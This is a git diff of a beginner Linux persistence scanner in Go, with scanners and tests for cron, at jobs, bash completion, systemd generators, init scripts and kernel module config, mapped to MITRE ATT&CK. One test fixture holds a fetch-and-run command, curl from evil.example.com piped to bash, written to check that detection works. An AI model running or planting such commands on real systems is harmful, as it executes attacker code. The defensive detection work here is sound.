+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/report/terminal.go
@@ -0,0 +1,107 @@
+/*
+©AngelaMos | 2026
+terminal.go
+
+Color-coded terminal output formatter for scan results
+
+Renders findings grouped by severity with color-coded labels,
+file paths, evidence snippets, and MITRE technique IDs. Prints
+a summary banner with counts per severity level.
+*/
+
+package report
+
+import (
+ "fmt"
+ "sort"
+
+ "github.com/CarterPerez-dev/sentinel/internal/ui"
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+var severityColor = map[types.Severity]func(
+ a ...any,
+) string{
+ types.SeverityCritical: ui.HiRedBold,
+ types.SeverityHigh: ui.RedBold,
+ types.SeverityMedium: ui.YellowBold,
+ types.SeverityLow: ui.CyanBold,
+ types.SeverityInfo: ui.Dim,
+}
+
+func PrintTerminal(result types.ScanResult) {
+ findings := result.Findings
+ sort.Slice(findings, func(i, j int) bool {
+ return findings[i].Severity > findings[j].Severity
+ })
+
+ if len(findings) == 0 {
+ fmt.Printf(
+ " %s No persistence indicators found.\n\n",
+ ui.GreenBold(ui.Check),
+ )
+ printSummary(result)
+ return
+ }
+
+ fmt.Printf(" %s\n\n", ui.Dim(ui.HRule(56)))
+
+ for _, f := range findings {
+ colorFn := severityColor[f.Severity]
+ label := colorFn(
+ fmt.Sprintf("[%s]", f.Severity.Label()),
+ )
+ fmt.Printf(" %s %s\n", label, f.Title)
+ fmt.Printf(
+ " %s %s\n",
+ ui.Dim("Path:"),
+ ui.Cyan(f.Path),
+ )
+ if f.Evidence != "" {
+ fmt.Printf(
+ " %s %s\n",
+ ui.Dim("Evidence:"),
+ truncateEvidence(f.Evidence),
+ )
+ }
+ fmt.Printf(
+ " %s %s\n\n",
+ ui.Dim("MITRE:"),
+ ui.Blue(f.MITRE),
+ )
+ }
+
+ printSummary(result)
+}
+
+func printSummary(result types.ScanResult) {
+ s := result.Summary
+ fmt.Printf(" %s\n", ui.Dim(ui.HRule(56)))
+ fmt.Printf(
+ " %s %s %s %s %s %s %s %s %s %s\n",
+ ui.Dim("Summary:"),
+ ui.HiRedBold(fmt.Sprintf("%d", s.Critical)),
+ ui.Dim("critical"),
+ ui.RedBold(fmt.Sprintf("%d", s.High)),
+ ui.Dim("high"),
+ ui.YellowBold(fmt.Sprintf("%d", s.Medium)),
+ ui.Dim("medium"),
+ ui.CyanBold(fmt.Sprintf("%d", s.Low)),
+ ui.Dim("low"),
+ ui.Dim(fmt.Sprintf("%d info", s.Info)),
+ )
+ fmt.Printf(
+ " %s Completed in %dms\n\n",
+ ui.Dim(ui.Timer),
+ result.DurationMs,
+ )
+}
+
+const maxEvidenceLen = 100
+
+func truncateEvidence(s string) string {
+ if len(s) <= maxEvidenceLen {
+ return s
+ }
+ return s[:maxEvidenceLen] + "..."
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/atjob.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/atjob.go
new file mode 100644
index 00000000..85a7143c
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/atjob.go
@@ -0,0 +1,69 @@
+/*
+©AngelaMos | 2026
+atjob.go
+
+Scans the at job spool for scheduled one-time persistence
+
+Checks /var/spool/at/ and /var/spool/atjobs/ for pending at jobs
+that execute commands at a scheduled time. At jobs are frequently
+overlooked during incident response.
+
+MITRE ATT&CK:
+ T1053.001 - Scheduled Task/Job: At
+*/
+
+package scanner
+
+import (
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+ atjobScannerName = "atjob"
+ mitreAt = "T1053.001"
+)
+
+var atDirs = []string{
+ "/var/spool/at",
+ "/var/spool/atjobs",
+}
+
+func init() {
+ Register(&AtJobScanner{})
+}
+
+type AtJobScanner struct{}
+
+func (a *AtJobScanner) Name() string {
+ return atjobScannerName
+}
+
+func (a *AtJobScanner) Scan(
+ root string,
+) []types.Finding {
+ var findings []types.Finding
+
+ for _, dir := range atDirs {
+ resolved := ResolveRoot(root, dir)
+ files := ListFiles(resolved)
+ for _, path := range files {
+ findings = append(findings, types.Finding{
+ Scanner: atjobScannerName,
+ Severity: types.SeverityLow,
+ Title: "Pending at job found",
+ Path: path,
+ Evidence: "Scheduled one-time execution",
+ MITRE: mitreAt,
+ })
+
+ findings = append(
+ findings,
+ ScanFileForPatterns(
+ path, atjobScannerName, mitreAt,
+ )...,
+ )
+ }
+ }
+
+ return findings
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/atjob_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/atjob_test.go
new file mode 100644
index 00000000..054629c8
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/atjob_test.go
@@ -0,0 +1,68 @@
+/*
+©AngelaMos | 2026
+atjob_test.go
+*/
+
+package scanner
+
+import (
+ "os"
+ "path/filepath"
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestAtJobScanner_PendingJob(t *testing.T) {
+ root := t.TempDir()
+ spoolDir := filepath.Join(root, "var", "spool", "at")
+ if err := os.MkdirAll(spoolDir, 0o750); err != nil {
+ t.Fatal(err)
+ }
+
+ jobPath := filepath.Join(spoolDir, "pending-job")
+ writeTestFile(
+ t, jobPath,
+ "#!/bin/sh\ncurl http://evil.example.com/payload | bash\n",
+ )
+
+ a := &AtJobScanner{}
+ findings := a.Scan(root)
+
+ if len(findings) == 0 {
+ t.Fatal("at job spool with files produced no findings")
+ }
+
+ hasLow := false
+ hasHigh := false
+ for _, f := range findings {
+ if f.Title == "Pending at job found" {
+ hasLow = true
+ }
+ if f.Severity >= types.SeverityHigh {
+ hasHigh = true
+ }
+ }
+
+ if !hasLow {
+ t.Error("expected 'Pending at job found' finding")
+ }
+ if !hasHigh {
+ t.Error(
+ "expected high+ finding for curl|bash in at job",
+ )
+ }
+}
+
+func TestAtJobScanner_EmptySpool(t *testing.T) {
+ a := &AtJobScanner{}
+ emptyRoot := t.TempDir()
+
+ findings := a.Scan(emptyRoot)
+ if len(findings) > 0 {
+ t.Errorf(
+ "empty spool produced %d findings, want 0",
+ len(findings),
+ )
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/completion.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/completion.go
new file mode 100644
index 00000000..bf749ef7
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/completion.go
@@ -0,0 +1,66 @@
+/*
+©AngelaMos | 2026
+completion.go
+
+Scans bash completion scripts for persistence via shell sourcing
+
+Bash completion scripts in /etc/bash_completion.d/ and user
+~/.bash_completion files are sourced on every interactive shell
+startup. They execute in the user's context and are rarely
+monitored, making them attractive for credential theft and
+C2 callbacks.
+
+MITRE ATT&CK:
+ T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification
+*/
+
+package scanner
+
+import (
+ "path/filepath"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+ completionScannerName = "completion"
+ mitreCompletion = "T1546.004"
+)
+
+func init() {
+ Register(&CompletionScanner{})
+}
+
+type CompletionScanner struct{}
+
+func (c *CompletionScanner) Name() string {
+ return completionScannerName
+}
+
+func (c *CompletionScanner) Scan(
+ root string,
+) []types.Finding {
+ var findings []types.Finding
+
+ sysDir := ResolveRoot(root, "/etc/bash_completion.d")
+ for _, path := range ListFiles(sysDir) {
+ findings = append(
+ findings,
+ ScanFileForPatterns(
+ path, completionScannerName, mitreCompletion,
+ )...,
+ )
+ }
+
+ for _, home := range FindUserDirs(root) {
+ bc := filepath.Join(home, ".bash_completion")
+ findings = append(
+ findings,
+ ScanFileForPatterns(
+ bc, completionScannerName, mitreCompletion,
+ )...,
+ )
+ }
+
+ return findings
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/completion_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/completion_test.go
new file mode 100644
index 00000000..e96d5ab9
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/completion_test.go
@@ -0,0 +1,62 @@
+/*
+©AngelaMos | 2026
+completion_test.go
+*/
+
+package scanner
+
+import (
+ "path/filepath"
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestCompletionScanner_CleanScript(t *testing.T) {
+ path := filepath.Join(
+ testdataDir(), "completion", "clean-completion",
+ )
+
+ findings := ScanFileForPatterns(
+ path, completionScannerName, mitreCompletion,
+ )
+
+ if len(findings) > 0 {
+ t.Errorf(
+ "clean completion produced %d findings, want 0",
+ len(findings),
+ )
+ for _, f := range findings {
+ t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
+ }
+ }
+}
+
+func TestCompletionScanner_MaliciousScript(t *testing.T) {
+ path := filepath.Join(
+ testdataDir(), "completion", "malicious-completion",
+ )
+
+ findings := ScanFileForPatterns(
+ path, completionScannerName, mitreCompletion,
+ )
+
+ if len(findings) == 0 {
+ t.Fatal(
+ "malicious completion produced no findings",
+ )
+ }
+
+ hasHigh := false
+ for _, f := range findings {
+ if f.Severity >= types.SeverityHigh {
+ hasHigh = true
+ }
+ }
+
+ if !hasHigh {
+ t.Error(
+ "expected high+ severity for curl|bash in completion",
+ )
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/cron.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/cron.go
new file mode 100644
index 00000000..44280d89
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/cron.go
@@ -0,0 +1,173 @@
+/*
+©AngelaMos | 2026
+cron.go
+
+Scans all cron locations for persistence indicators
+
+Checks per-user crontabs, system crontab, cron.d drop-ins, periodic
+cron directories, and anacron. Parses crontab entries to extract
+commands and runs them through the suspicious pattern engine.
+
+MITRE ATT&CK:
+ T1053.003 - Scheduled Task/Job: Cron
+*/
+
+package scanner
+
+import (
+ "strings"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+ cronScannerName = "cron"
+ mitreCron = "T1053.003"
+)
+
+var cronDirs = []string{
+ "/etc/cron.d",
+ "/etc/cron.daily",
+ "/etc/cron.hourly",
+ "/etc/cron.weekly",
+ "/etc/cron.monthly",
+}
+
+var cronSpoolDirs = []string{
+ "/var/spool/cron/crontabs",
+ "/var/spool/cron",
+}
+
+func init() {
+ Register(&CronScanner{})
+}
+
+type CronScanner struct{}
+
+func (c *CronScanner) Name() string {
+ return cronScannerName
+}
+
+func (c *CronScanner) Scan(
+ root string,
+) []types.Finding {
+ var findings []types.Finding
+
+ etcCrontab := ResolveRoot(root, "/etc/crontab")
+ findings = append(
+ findings,
+ c.scanCrontab(etcCrontab)...,
+ )
+
+ anacrontab := ResolveRoot(root, "/etc/anacrontab")
+ findings = append(
+ findings,
+ c.scanCrontab(anacrontab)...,
+ )
+
+ for _, dir := range cronDirs {
+ resolved := ResolveRoot(root, dir)
+ for _, path := range ListFiles(resolved) {
+ findings = append(
+ findings,
+ c.scanCrontab(path)...,
+ )
+ findings = append(
+ findings,
+ c.checkPermissions(path)...,
+ )
+ }
+ }
+
+ for _, dir := range cronSpoolDirs {
+ resolved := ResolveRoot(root, dir)
+ for _, path := range ListFiles(resolved) {
+ findings = append(
+ findings,
+ c.scanCrontab(path)...,
+ )
+ }
+ }
+
+ return findings
+}
+
+func (c *CronScanner) scanCrontab(
+ path string,
+) []types.Finding {
+ lines := ReadLines(path)
+ if lines == nil {
+ return nil
+ }
+
+ var findings []types.Finding
+ for _, line := range lines {
+ if IsCommentOrEmpty(line) {
+ continue
+ }
+
+ cmd := extractCronCommand(line)
+ if cmd == "" {
+ continue
+ }
+
+ matched, sev, label := MatchLine(cmd)
+ if matched {
+ findings = append(findings, types.Finding{
+ Scanner: cronScannerName,
+ Severity: sev,
+ Title: "Suspicious cron entry: " + label,
+ Path: path,
+ Evidence: strings.TrimSpace(line),
+ MITRE: mitreCron,
+ })
+ }
+ }
+ return findings
+}
+
+func extractCronCommand(line string) string {
+ trimmed := strings.TrimSpace(line)
+ if trimmed == "" || strings.HasPrefix(trimmed, "#") {
+ return ""
+ }
+
+ firstField := strings.Fields(trimmed)[0]
+ if strings.Contains(firstField, "=") {
+ return ""
+ }
+
+ if strings.HasPrefix(trimmed, "@") {
+ parts := strings.Fields(trimmed)
+ if len(parts) >= 2 {
+ return strings.Join(parts[1:], " ")
+ }
+ return ""
+ }
+
+ fields := strings.Fields(trimmed)
+ if len(fields) >= 7 {
+ return strings.Join(fields[6:], " ")
+ }
+ if len(fields) >= 6 {
+ return strings.Join(fields[5:], " ")
+ }
+ return trimmed
+}
+
+func (c *CronScanner) checkPermissions(
+ path string,
+) []types.Finding {
+ if !IsWorldWritable(path) {
+ return nil
+ }
+
+ return []types.Finding{{
+ Scanner: cronScannerName,
+ Severity: types.SeverityMedium,
+ Title: "World-writable cron file",
+ Path: path,
+ Evidence: "Any user can modify this cron entry",
+ MITRE: mitreCron,
+ }}
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/cron_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/cron_test.go
new file mode 100644
index 00000000..7ee3dc0e
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/cron_test.go
@@ -0,0 +1,116 @@
+/*
+©AngelaMos | 2026
+cron_test.go
+*/
+
+package scanner
+
+import (
+ "path/filepath"
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestCronScanner_CleanCrontab(t *testing.T) {
+ c := &CronScanner{}
+ path := filepath.Join(
+ testdataDir(), "cron", "clean-crontab",
+ )
+
+ findings := c.scanCrontab(path)
+ if len(findings) > 0 {
+ t.Errorf(
+ "clean crontab produced %d findings, want 0",
+ len(findings),
+ )
+ for _, f := range findings {
+ t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
+ }
+ }
+}
+
+func TestCronScanner_MaliciousCrontab(t *testing.T) {
+ c := &CronScanner{}
+ path := filepath.Join(
+ testdataDir(), "cron", "malicious-crontab",
+ )
+
+ findings := c.scanCrontab(path)
+ for _, f := range findings {
+ t.Logf(
+ "finding: sev=%s title=%s evidence=%s",
+ f.Severity, f.Title, f.Evidence,
+ )
+ }
+ if len(findings) < 3 {
+ t.Fatalf(
+ "malicious crontab: got %d findings, want >= 3",
+ len(findings),
+ )
+ }
+
+ hasCritical := false
+ hasHigh := false
+ for _, f := range findings {
+ if f.Severity == types.SeverityCritical {
+ hasCritical = true
+ }
+ if f.Severity == types.SeverityHigh {
+ hasHigh = true
+ }
+ }
+
+ if !hasCritical {
+ t.Error("expected critical finding for reverse shell")
+ }
+ if !hasHigh {
+ t.Error("expected high finding for curl|bash")
+ }
+}
+
+func TestExtractCronCommand(t *testing.T) {
+ tests := []struct {
+ name string
+ line string
+ want string
+ }{
+ {
+ name: "system cron with user field",
+ line: "0 3 * * * root /usr/sbin/logrotate /etc/logrotate.conf",
+ want: "/usr/sbin/logrotate /etc/logrotate.conf",
+ },
+ {
+ name: "at-style entry",
+ line: "@reboot root /usr/bin/startup.sh",
+ want: "root /usr/bin/startup.sh",
+ },
+ {
+ name: "environment variable",
+ line: "SHELL=/bin/bash",
+ want: "",
+ },
+ {
+ name: "comment",
+ line: "# some comment",
+ want: "",
+ },
+ {
+ name: "empty",
+ line: "",
+ want: "",
+ },
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ got := extractCronCommand(tt.line)
+ if got != tt.want {
+ t.Errorf(
+ "extractCronCommand(%q) = %q, want %q",
+ tt.line, got, tt.want,
+ )
+ }
+ })
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/generator.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/generator.go
new file mode 100644
index 00000000..251d0ca3
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/generator.go
@@ -0,0 +1,101 @@
+/*
+©AngelaMos | 2026
+generator.go
+
+Scans systemd generator directories for persistence executables
+
+Systemd generators run very early in boot, before logging starts,
+and produce unit files dynamically. Any executable placed in a
+generator directory runs as root with minimal audit trail. Flags
+all executables found, with elevated severity for world-writable
+files or recent modifications.
+
+MITRE ATT&CK:
+ T1543.002 - Create or Modify System Process: Systemd Service
+*/
+
+package scanner
+
+import (
+ "time"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+ generatorScannerName = "generator"
+ mitreGenerator = "T1543.002"
+)
+
+var generatorDirs = []string{
+ "/etc/systemd/system-generators",
+ "/usr/local/lib/systemd/system-generators",
+ "/lib/systemd/system-generators",
+ "/usr/lib/systemd/system-generators",
+ "/run/systemd/system-generators",
+ "/etc/systemd/user-generators",
+ "/usr/local/lib/systemd/user-generators",
+ "/usr/lib/systemd/user-generators",
+ "/run/systemd/user-generators",
+}
+
+func init() {
+ Register(&GeneratorScanner{})
+}
+
+type GeneratorScanner struct{}
+
+func (g *GeneratorScanner) Name() string {
+ return generatorScannerName
+}
+
+func (g *GeneratorScanner) Scan(
+ root string,
+) []types.Finding {
+ var findings []types.Finding
+
+ for _, dir := range generatorDirs {
+ resolved := ResolveRoot(root, dir)
+ for _, path := range ListFiles(resolved) {
+ findings = append(findings, types.Finding{
+ Scanner: generatorScannerName,
+ Severity: types.SeverityMedium,
+ Title: "Systemd generator executable found",
+ Path: path,
+ Evidence: "Generators run as root early in boot before logging",
+ MITRE: mitreGenerator,
+ })
+
+ findings = append(
+ findings,
+ ScanFileForPatterns(
+ path, generatorScannerName, mitreGenerator,
+ )...,
+ )
+
+ if IsWorldWritable(path) {
+ findings = append(findings, types.Finding{
+ Scanner: generatorScannerName,
+ Severity: types.SeverityHigh,
+ Title: "World-writable systemd generator",
+ Path: path,
+ Evidence: "Any user can modify this generator",
+ MITRE: mitreGenerator,
+ })
+ }
+
+ if ModifiedWithin(path, 24*time.Hour) {
+ findings = append(findings, types.Finding{
+ Scanner: generatorScannerName,
+ Severity: types.SeverityHigh,
+ Title: "Recently modified systemd generator",
+ Path: path,
+ Evidence: "Modified within the last 24 hours",
+ MITRE: mitreGenerator,
+ })
+ }
+ }
+ }
+
+ return findings
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/generator_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/generator_test.go
new file mode 100644
index 00000000..f9b843bb
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/generator_test.go
@@ -0,0 +1,74 @@
+/*
+©AngelaMos | 2026
+generator_test.go
+*/
+
+package scanner
+
+import (
+ "os"
+ "path/filepath"
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestGeneratorScanner_MaliciousGenerator(t *testing.T) {
+ root := t.TempDir()
+ genDir := filepath.Join(
+ root, "etc", "systemd", "system-generators",
+ )
+ if err := os.MkdirAll(genDir, 0o750); err != nil {
+ t.Fatal(err)
+ }
+
+ src := filepath.Join(
+ testdataDir(), "generator", "malicious-generator",
+ )
+ data, err := os.ReadFile(src) //nolint:gosec
+ if err != nil {
+ t.Fatal(err)
+ }
+ writeTestFile(
+ t, filepath.Join(genDir, "backdoor-gen"), string(data),
+ )
+
+ g := &GeneratorScanner{}
+ findings := g.Scan(root)
+
+ if len(findings) == 0 {
+ t.Fatal("generator with content produced no findings")
+ }
+
+ hasExistence := false
+ hasPattern := false
+ for _, f := range findings {
+ if f.Title == "Systemd generator executable found" {
+ hasExistence = true
+ }
+ if f.Severity >= types.SeverityHigh {
+ hasPattern = true
+ }
+ }
+
+ if !hasExistence {
+ t.Error("expected existence finding for generator")
+ }
+ if !hasPattern {
+ t.Error(
+ "expected high+ finding for curl|bash in generator",
+ )
+ }
+}
+
+func TestGeneratorScanner_EmptyDir(t *testing.T) {
+ g := &GeneratorScanner{}
+ findings := g.Scan(t.TempDir())
+
+ if len(findings) > 0 {
+ t.Errorf(
+ "empty generator dirs produced %d findings, want 0",
+ len(findings),
+ )
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/helpers.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/helpers.go
new file mode 100644
index 00000000..ac455fee
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/helpers.go
@@ -0,0 +1,149 @@
+/*
+©AngelaMos | 2026
+helpers.go
+
+Shared filesystem utilities used by all scanner modules
+
+Provides safe file reading, directory listing, line scanning, and
+file-age checking functions. Handles permission errors gracefully
+by returning empty results rather than propagating errors, since
+scanners should skip inaccessible paths without aborting the run.
+*/
+
+package scanner
+
+import (
+ "bufio"
+ "os"
+ "path/filepath"
+ "strings"
+ "time"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func ReadLines(path string) []string {
+ f, err := os.Open(path) //nolint:gosec
+ if err != nil {
+ return nil
+ }
+ defer f.Close() //nolint:errcheck
+
+ var lines []string
+ sc := bufio.NewScanner(f)
+ for sc.Scan() {
+ lines = append(lines, sc.Text())
+ }
+ return lines
+}
+
+func ListDir(dir string) []os.DirEntry {
+ entries, err := os.ReadDir(dir)
+ if err != nil {
+ return nil
+ }
+ return entries
+}
+
+func ListFiles(dir string) []string {
+ entries := ListDir(dir)
+ var paths []string
+ for _, e := range entries {
+ if !e.IsDir() {
+ paths = append(paths, filepath.Join(dir, e.Name()))
+ }
+ }
+ return paths
+}
+
+func FileExists(path string) bool {
+ _, err := os.Stat(path)
+ return err == nil
+}
+
+func IsWorldWritable(path string) bool {
+ info, err := os.Stat(path)
+ if err != nil {
+ return false
+ }
+ return info.Mode().Perm()&0o002 != 0
+}
+
+func ModifiedWithin(path string, d time.Duration) bool {
+ info, err := os.Stat(path)
+ if err != nil {
+ return false
+ }
+ return time.Since(info.ModTime()) < d
+}
+
+func ResolveRoot(root, path string) string {
+ if root == "/" {
+ return path
+ }
+ return filepath.Join(root, path)
+}
+
+func FindUserDirs(root string) []string {
+ homeBase := ResolveRoot(root, "/home")
+ entries := ListDir(homeBase)
+ var dirs []string
+ for _, e := range entries {
+ if e.IsDir() {
+ dirs = append(
+ dirs,
+ filepath.Join(homeBase, e.Name()),
+ )
+ }
+ }
+
+ rootHome := ResolveRoot(root, "/root")
+ if FileExists(rootHome) {
+ dirs = append(dirs, rootHome)
+ }
+ return dirs
+}
+
+func IsCommentOrEmpty(line string) bool {
+ trimmed := strings.TrimSpace(line)
+ return trimmed == "" || strings.HasPrefix(trimmed, "#")
+}
+
+func ScanFileForPatterns(
+ path, scannerName, mitre string,
+) []types.Finding {
+ lines := ReadLines(path)
+ var findings []types.Finding
+
+ for _, line := range lines {
+ if IsCommentOrEmpty(line) {
+ continue
+ }
+ matched, sev, label := MatchLine(line)
+ if matched {
+ findings = append(findings, types.Finding{
+ Scanner: scannerName,
+ Severity: sev,
+ Title: label,
+ Path: path,
+ Evidence: strings.TrimSpace(line),
+ MITRE: mitre,
+ })
+ }
+ }
+ return findings
+}
+
+func containsShellCommand(line string) bool {
+ shells := []string{
+ "/bin/sh", "/bin/bash", "/bin/zsh",
+ "/usr/bin/sh", "/usr/bin/bash",
+ }
+ for _, sh := range shells {
+ if strings.Contains(line, sh) {
+ return true
+ }
+ }
+ return NetworkToolPattern.MatchString(line) ||
+ ScriptLangPattern.MatchString(line)
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/helpers_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/helpers_test.go
new file mode 100644
index 00000000..104fde3b
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/helpers_test.go
@@ -0,0 +1,20 @@
+/*
+©AngelaMos | 2026
+helpers_test.go
+*/
+
+package scanner
+
+import (
+ "os"
+ "testing"
+)
+
+func writeTestFile(t *testing.T, path, content string) {
+ t.Helper()
+ if err := os.WriteFile(
+ path, []byte(content), 0o600,
+ ); err != nil {
+ t.Fatalf("writing test file %s: %v", path, err)
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/initd.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/initd.go
new file mode 100644
index 00000000..a0715ebe
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/initd.go
@@ -0,0 +1,114 @@
+/*
+©AngelaMos | 2026
+initd.go
+
+Scans SysV init scripts and rc.local for persistence indicators
+
+Checks /etc/init.d/ for non-standard scripts and /etc/rc.local for
+any executable content beyond comments. Legacy persistence mechanism
+that still works on many modern Linux distributions.
+
+MITRE ATT&CK:
+ T1037.004 - Boot or Logon Initialization Scripts: RC Scripts
+*/
+
+package scanner
+
+import (
+ "strings"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+ initdScannerName = "initd"
+ mitreInitd = "T1037.004"
+)
+
+func init() {
+ Register(&InitdScanner{})
+}
+
+type InitdScanner struct{}
+
+func (i *InitdScanner) Name() string {
+ return initdScannerName
+}
+
+func (i *InitdScanner) Scan(
+ root string,
+) []types.Finding {
+ var findings []types.Finding
+
+ initDir := ResolveRoot(root, "/etc/init.d")
+ for _, path := range ListFiles(initDir) {
+ findings = append(
+ findings,
+ ScanFileForPatterns(
+ path, initdScannerName, mitreInitd,
+ )...,
+ )
+
+ if IsWorldWritable(path) {
+ findings = append(findings, types.Finding{
+ Scanner: initdScannerName,
+ Severity: types.SeverityMedium,
+ Title: "World-writable init.d script",
+ Path: path,
+ Evidence: "Any user can modify this init script",
+ MITRE: mitreInitd,
+ })
+ }
+ }
+
+ rcLocal := ResolveRoot(root, "/etc/rc.local")
+ findings = append(
+ findings,
+ i.scanRcLocal(rcLocal)...,
+ )
+
+ return findings
+}
+
+func (i *InitdScanner) scanRcLocal(
+ path string,
+) []types.Finding {
+ lines := ReadLines(path)
+ if lines == nil {
+ return nil
+ }
+
+ hasContent := false
+ for _, line := range lines {
+ trimmed := strings.TrimSpace(line)
+ if trimmed == "" ||
+ strings.HasPrefix(trimmed, "#") ||
+ trimmed == "exit 0" {
+ continue
+ }
+ hasContent = true
+ break
+ }
+
+ if !hasContent {
+ return nil
+ }
+
+ findings := []types.Finding{{
+ Scanner: initdScannerName,
+ Severity: types.SeverityMedium,
+ Title: "rc.local contains executable content",
+ Path: path,
+ Evidence: "rc.local runs as root at boot",
+ MITRE: mitreInitd,
+ }}
+
+ findings = append(
+ findings,
+ ScanFileForPatterns(
+ path, initdScannerName, mitreInitd,
+ )...,
+ )
+
+ return findings
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/initd_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/initd_test.go
new file mode 100644
index 00000000..7a0a7d41
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/initd_test.go
@@ -0,0 +1,63 @@
+/*
+©AngelaMos | 2026
+initd_test.go
+*/
+
+package scanner
+
+import (
+ "path/filepath"
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestInitdScanner_RcLocal(t *testing.T) {
+ i := &InitdScanner{}
+ path := filepath.Join(
+ testdataDir(), "initd", "rc.local",
+ )
+
+ findings := i.scanRcLocal(path)
+ if len(findings) == 0 {
+ t.Fatal("rc.local with content produced no findings")
+ }
+
+ hasContent := false
+ hasHighOrAbove := false
+ for _, f := range findings {
+ if f.Title == "rc.local contains executable content" {
+ hasContent = true
+ }
+ if f.Severity >= types.SeverityHigh {
+ hasHighOrAbove = true
+ }
+ }
+
+ if !hasContent {
+ t.Error(
+ "expected 'rc.local contains executable content' finding",
+ )
+ }
+ if !hasHighOrAbove {
+ t.Error(
+ "expected high+ finding for wget|sh in rc.local",
+ )
+ }
+}
+
+func TestInitdScanner_EmptyRcLocal(t *testing.T) {
+ dir := t.TempDir()
+ path := filepath.Join(dir, "rc.local")
+ writeTestFile(t, path, "#!/bin/sh\n# nothing here\nexit 0\n")
+
+ i := &InitdScanner{}
+ findings := i.scanRcLocal(path)
+
+ if len(findings) > 0 {
+ t.Errorf(
+ "empty rc.local produced %d findings, want 0",
+ len(findings),
+ )
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/kernel.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/kernel.go
new file mode 100644
index 00000000..8193c6bc
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/kernel.go
@@ -0,0 +1,123 @@
+/*
+©AngelaMos | 2026
+kernel.go
+
+Scans kernel module configuration for persistence indicators
+
+Checks /etc/modules-load.d/ and /etc/modprobe.d/ for suspicious
+module load directives and install hooks that execute shell commands
+when modules are loaded.
+
+MITRE ATT&CK:
+ T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions
+*/
+
+package scanner
+
+import (
+ "strings"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+ kernelScannerName = "kernel"
+ mitreKernel = "T1547.006"
+)
+
+func init() {
+ Register(&KernelScanner{})
+}
+
+type KernelScanner struct{}
+
+func (k *KernelScanner) Name() string {
+ return kernelScannerName
+}
+
+func (k *KernelScanner) Scan(
+ root string,
+) []types.Finding {
+ var findings []types.Finding
+
+ modulesD := ResolveRoot(root, "/etc/modules-load.d")
+ for _, path := range ListFiles(modulesD) {
+ findings = append(
+ findings,
+ k.scanModulesFile(path)...,
+ )
+ }
+
+ modulesFile := ResolveRoot(root, "/etc/modules")
+ findings = append(
+ findings,
+ k.scanModulesFile(modulesFile)...,
+ )
+
